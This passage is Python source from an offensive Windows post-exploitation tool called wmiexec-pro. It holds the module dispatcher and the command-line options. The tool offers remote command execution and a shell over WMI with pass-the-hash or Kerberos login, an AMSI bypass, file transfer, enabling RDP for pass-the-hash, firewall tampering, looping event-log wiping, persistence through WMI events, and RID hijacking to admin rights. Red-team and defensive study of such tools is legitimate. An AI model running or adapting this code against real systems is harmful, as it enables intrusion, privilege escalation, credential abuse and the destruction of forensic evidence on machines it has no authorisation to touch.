if self.__options.clear: 93 | executer_ExecCommand.clear() 94 | 95 | if self.__options.module == "filetransfer": 96 | executer_Transfer = filetransfer_Toolkit(iWbemLevel1Login, dcom) 97 | executer_Transfer.timeout = self.__options.timeout 98 | if self.__options.src_file and self.__options.dest_file: 99 | if self.__options.upload: 100 | executer_Transfer.uploadFile(src_File=self.__options.src_file, dest_File=r"%s"%self.__options.dest_file) 101 | if self.__options.download: 102 | executer_Transfer.downloadFile(target_File=self.__options.src_file, save_Location=self.__options.dest_file) 103 | if self.__options.clear: 104 | executer_Transfer.clear() 105 | 106 | if self.__options.module == "rdp": 107 | executer_RDP = RDP_Toolkit(iWbemLevel1Login) 108 | if self.__options.enable: 109 | executer_RDP.rdp_Wrapper("enable", old=self.__options.old) 110 | if self.__options.disable: 111 | executer_RDP.rdp_Wrapper("disable", old=self.__options.old) 112 | if self.__options.enable_ram: 113 | executer_RDP.ram_Wrapper("enable") 114 | if self.__options.disable_ram: 115 | executer_RDP.ram_Wrapper("disable") 116 | 117 | if self.__options.module == "winrm": 118 | executer_WINRM = WINRM_Toolkit(iWbemLevel1Login, dcom) 119 | if self.__options.enable: 120 | executer_WINRM.WINRM_Wrapper("enable") 121 | if self.__options.disable: 122 | executer_WINRM.WINRM_Wrapper("disable") 123 | 124 | if self.__options.module == "firewall": 125 | executer_Firewall = Firewall_Toolkit(iWbemLevel1Login) 126 | if self.__options.search_port: 127 | executer_Firewall.port_Searcher(self.__options.search_port) 128 | if self.__options.dump: 129 | executer_Firewall.dump_FirewallRules(self.__options.dump) 130 | if self.__options.rule_id and self.__options.action: 131 | executer_Firewall.rule_Controller(ID=self.__options.rule_id, flag=self.__options.action) 132 | if self.__options.firewall_profile: 133 | executer_Firewall.FirewallProfile_Controller(self.__options.firewall_profile) 134 | 135 | if self.__options.module == "eventlog": 136 | executer_EventLog = eventlog_Toolkit(iWbemLevel1Login) 137 | if self.__options.risk_i_know: 138 | executer_EventLog.fuck_EventLog() 139 | if self.__options.retrieve: 140 | executer_EventLog.retrieve_EventLog(self.__options.retrieve) 141 | 142 | if self.__options.module == "service": 143 | executer_Service = Service_Toolkit(iWbemLevel1Login, dcom) 144 | if self.__options.action: 145 | if self.__options.action == "create" and all([self.__options.service_name, self.__options.display_name, self.__options.bin_path]): 146 | executer_Service.create_Service(self.__options.service_name, self.__options.display_name, self.__options.bin_path, self.__options._class) 147 | else: 148 | executer_Service.control_Service(self.__options.action, self.__options.service_name) 149 | if self.__options.dump: 150 | executer_Service.dump_Service(self.__options.dump) 151 | 152 | if self.__options.module == "execute-vbs": 153 | executer_VBS = executeVBS_Toolkit(iWbemLevel1Login) 154 | if self.__options.vbs and self.__options.filter: 155 | executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, filer_Query=self.__options.filter) 156 | if self.__options.vbs and self.__options.timer: 157 | executer_VBS.ExecuteVBS(vbs_file=self.__options.vbs, timer=self.__options.timer) 158 | if self.__options.remove: 159 | executer_VBS.remove_Event(self.__options.remove) 160 | if self.__options.deep_clean: 161 | executer_VBS.deep_RemoveEvent() 162 | 163 | if self.__options.module == "rid-hijack": 164 | RID_Hijack = RID_Hijack_Toolkit(iWbemLevel1Login, dcom) 165 | RID_Hijack.timeout = self.__options.timeout 166 | if self.__options.query: 167 | RID_Hijack.query_user() 168 | if self.__options.action and self.__options.user: 169 | if self.__options.action == "hijack" and self.__options.hijack_rid: 170 | RID_Hijack.hijack(self.__options.action, self.__options.user, self.__options.hijack_rid) 171 | elif self.__options.action in ["activate", "deactivate", "remove"]: 172 | RID_Hijack.hijack(self.__options.action, self.__options.user) 173 | elif self.__options.action in ["grant", "grant-old"]: 174 | RID_Hijack.Permissions_Controller(self.__options.action, self.__options.user, self.__username) 175 | elif self.__options.action == "backup": 176 | RID_Hijack.hijack(self.__options.action, self.__options.user, hostname=addr) 177 | if self.__options.blank_pass_login: 178 | RID_Hijack.BlankPasswordLogin(self.__options.blank_pass_login) 179 | if self.__options.restore: 180 | RID_Hijack.restore_UserProfile(self.__options.restore) 181 | 182 | if self.__options.module == "hashdump": 183 | executer_Hashdump = Hashdump(iWbemLevel1Login) 184 | executer_Hashdump.test() 185 | 186 | 187 | except (Exception, KeyboardInterrupt) as e: 188 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG: 189 | import traceback 190 | traceback.print_exc() 191 | logging.error(str(e)) 192 | dcom.disconnect() 193 | sys.exit(1) 194 | 195 | dcom.disconnect() 196 | 197 | if __name__ == "__main__": 198 | print(version.BANNER) 199 | 200 | parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows " 201 | "Management Instrumentation.") 202 | parser.add_argument("target", action="store", help="[[domain/]username[:password]@]") 203 | parser.add_argument('-timeout', default=5, type=int, action='store', help='Set the timeout for the connection') 204 | parser.add_argument("-codec", default="gbk", action="store", help="Sets encoding used (codec) from the target\"s output (default " 205 | '"gbk"). If errors are detected, run chcp.com at the target, ' 206 | "map the result with " 207 | "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py " 208 | "again with -codec and the corresponding codec ") 209 | parser.add_argument("-com-version", action="store", metavar="MAJOR_VERSION:MINOR_VERSION", 210 | help="DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7") 211 | subparsers = parser.add_subparsers(help="modules", dest="module") 212 | 213 | group = parser.add_argument_group('authentication') 214 | 215 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 216 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 217 | group.add_argument('-k', action="store_true", 218 | help='Use Kerberos authentication. Grabs credentials from ccache file ' 219 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 220 | 'ones specified in the command line') 221 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 222 | '(128 or 256 bits)') 223 | group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 224 | 'ommited it use the domain part (FQDN) specified in the target parameter') 225 | group.add_argument('-target-ip', action='store', metavar="ip address", 226 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 227 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 228 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') 229 | 230 | # enumerate.py 231 | enum_parser = subparsers.add_parser("enum", help="Enumerate system info") 232 | enum_parser.add_argument("-basic", action="store_true", help="Doing basic enumeration") 233 | enum_parser.add_argument("-tasklist", action="store_true", help="Display a list of currently running processes on the system") 234 | 235 | # amsi.py 236 | amsi_parser = subparsers.add_parser("amsi", help='Bypass AMSI with registry key "AmsiEnable".') 237 | amsi_parser.add_argument("-enable", action="store_true", help="Enable AMSI bypass") 238 | amsi_parser.add_argument("-disable", action="store_true", help="Disable AMSI bypass") 239 | 240 | # exec_command.py 241 | exec_command = subparsers.add_parser("exec-command", help="Execute command in with/without output way.") 242 | exec_command.add_argument("-shell", action="store_true", help="Launch a semi-interactive shell") 243 | exec_command.add_argument("-command", action="store", help="Specify command to execute") 244 | exec_command.add_argument("-old", action="store_true", help="Execute command for old system versio nunder NT6.") 245 | exec_command.add_argument("-silent", action="store_true", help="Command execute with output (default is no output)") 246 | exec_command.add_argument("-save", action="store_true", help="Save command output to file (not support silent mode)") 247 | exec_command.add_argument("-clear", action="store_true", help="Remove temporary class for command result storage") 248 | 249 | # filetransfer.py 250 | file_transfer = subparsers.add_parser("filetransfer", help="Upload/Download file through wmi class.") 251 | file_transfer.add_argument("-upload", action="store_true", help="Upload file.") 252 | file_transfer.add_argument("-download", action="store_true", help="Download file.") 253 | file_transfer.add_argument("-src-file", action="store", help="Source file with fully path (include filename)") 254 | file_transfer.add_argument("-dest-file", action="store", help="Dest file with fully path (include filename)") 255 | file_transfer.add_argument("-clear", action="store_true", help="Remove temporary class for storage binary data") 256 | 257 | # rdp.py 258 | rdp_parser = subparsers.add_parser("rdp", help="Enable/Disable Remote desktop service.") 259 | rdp_parser.add_argument("-enable", action="store_true", help="Enable RDP service") 260 | rdp_parser.add_argument("-enable-ram", action="store_true", help="Enable Restricted Admin Mode for PTH") 261 | rdp_parser.add_argument("-disable", action="store_true", help="Disable RDP service") 262 | rdp_parser.add_argument("-disable-ram", action="store_true", help="Disable Restricted Admin Mode") 263 | rdp_parser.add_argument("-old", action="store_true", help="Enable/Disable RDP for old system versio nunder NT6.") 264 | 265 | # winrm.py 266 | winrm_parser = subparsers.add_parser("winrm", help="Enable/Disable WINRM service.") 267 | winrm_parser.add_argument("-enable", action="store_true", help="Enable WINRM service") 268 | winrm_parser.add_argument("-disable", action="store_true", help="Disable WINRM service") 269 | 270 | # firewall.py 271 | firewall_parser = subparsers.add_parser("firewall", help="Firewall abusing.") 272 | firewall_parser.add_argument("-search-port", action="store", metavar="port num", help="Search rules associate with the port.") 273 | firewall_parser.add_argument("-dump", action="store", metavar="FILENAME", help="Dump all firewall rules to file as json format.") 274 | firewall_parser.add_argument("-rule-id", action="store", metavar="ID", help='Specify firewall rule instance id to do operation in "-rule-op"') 275 | firewall_parser.add_argument("-action", action="store", default="disable", choices=["enable", "disable", "remove"], 276 | help="Action of firewall rule which you specify.") 277 | firewall_parser.add_argument("-firewall-profile", action="store", choices=["enable","disable"], 278 | help="Use it on your own risk if you try to do this one.") 279 | 280 | # eventlog-fucker.py 281 | eventlog_parser = subparsers.add_parser("eventlog", help="Loopping cleanning eventlog.") 282 | eventlog_parser.add_argument("-risk-i-know", action="store_true", help="You know what will happen :)") 283 | eventlog_parser.add_argument("-retrieve", action="store", metavar="ID", help="Stop looping cleaning eventlog with the instance id.") 284 | 285 | # service_mgr.py 286 | service_MgrParser = subparsers.add_parser("service", help="Service manager") 287 | service_MgrParser.add_argument("-action", action="store", choices=["create", "delete", "start", "stop", "disable", "auto-start", "manual-start", "getinfo"], 288 | help="Action you want to do.") 289 | service_MgrParser.add_argument("-service-name", action="store", help="Specify service name.") 290 | service_MgrParser.add_argument("-display-name", action="store", help="Specify service display name.") 291 | service_MgrParser.add_argument("-bin-path", action="store", help="Specify binary path of service creation.") 292 | service_MgrParser.add_argument("-class", dest="_class", action="store", choices=["Win32_Service", "Win32_TerminalService", "Win32_BaseService"], default="Win32_Service", 293 | help="Alternative class of service object creation.") 294 | service_MgrParser.add_argument("-dump", action="store", metavar="FILENAME", help="Dump all services to file as json format.") 295 | 296 | # executeVBS.py 297 | execute_VBSParser = subparsers.add_parser("execute-vbs", help="Execute vbs file.") 298 | execute_VBSParser.add_argument("-vbs", action="store", help="VBS filename containing the script you want to run") 299 | execute_VBSParser.add_argument("-filter", action="store", help="The WQL filter string that will trigger the script.") 300 | execute_VBSParser.add_argument("-timer", action="store", help="The amount of milliseconds after the script will be triggered, 1000 milliseconds = 1 second") 301 | execute_VBSParser.add_argument("-remove", action="store", help="Remove wmi event with specify ID.") 302 | execute_VBSParser.add_argument("-deep-clean", action="store_true", help="Remove all wmi events with auto enumeration.") 303 | 304 | # rid_hijack.py 305 | rid_HijackParser = subparsers.add_parser("rid-hijack", help="RID Hijack.") 306 | rid_HijackParser.add_argument("-query", action="store_true", help="Query all users.") 307 | rid_HijackParser.add_argument("-user", action="store", help="Specify users RID which you want to playing with.(Like guest user 501)") 308 | rid_HijackParser.add_argument("-hijack-rid", action="store", help="Specify RID which you want to hijack to.(Like administrator rid 500)") 309 | rid_HijackParser.add_argument("-action", action="store", choices=["hijack", "activate", "deactivate", "grant", "grant-old", "backup", "remove"], help="Action you want to do.") 310 | rid_HijackParser.add_argument("-blank-pass-login", action="store", choices=["enable", "disable"], help="Enable or disable blank pass login.(for guest user)") 311 | rid_HijackParser.add_argument("-restore", action="store", help="Restore user profile after you want to do evil operation, need to specify the backup json file)") 312 | 313 | # hashdump.py 314 | hashdump_parser = subparsers.add_parser("hashdump", help="Loopping cleanning eventlog.") 315 | hashdump_parser.add_argument("-test", action="store_true", help="You know what will happen :)") 316 | 317 | if len(sys.argv) == 1: 318 | parser.print_help() 319 | sys.exit(1) 320 | 321 | options = parser.parse_args() 322 | 323 | logging.getLogger("impacket").disabled = True 324 | logger = Log(log_level=logging.DEBUG) 325 | 326 | if options.com_version: 327 | try: 328 | major_version, minor_version = options.com_version.split(".") 329 | COMVERSION.set_default_version(int(major_version), int(minor_version)) 330 | except Exception: 331 | logger.error('Wrong COMVERSION format, use dot separated integers e.g. "5.7"') 332 | sys.exit(1) 333 | 334 | domain, username, password, address = parse_target(options.target) 335 | try: 336 | if not options.target_ip: 337 | options.target_ip = address 338 | 339 | if not domain: 340 | domain = "" 341 | 342 | if options.keytab: 343 | Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) 344 | options.k = True 345 | 346 | if username and not (password or options.hashes or options.no_pass or options.aesKey): 347 | from getpass import getpass 348 | password = getpass("Password:") 349 | 350 | if options.aesKey: 351 | options.k = True 352 | 353 | executer = WMIEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.target_ip, options) 354 | executer.run(address) 355 | 356 | except KeyboardInterrupt as e: 357 | logger.error(str(e)) 358 | except Exception as e: 359 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG: 360 | import traceback 361 | traceback.print_exc() 362 | logger.error(str(e)) 363 | sys.exit(1) 364 | 365 | sys.exit(0) --------------------------------------------------------------------------------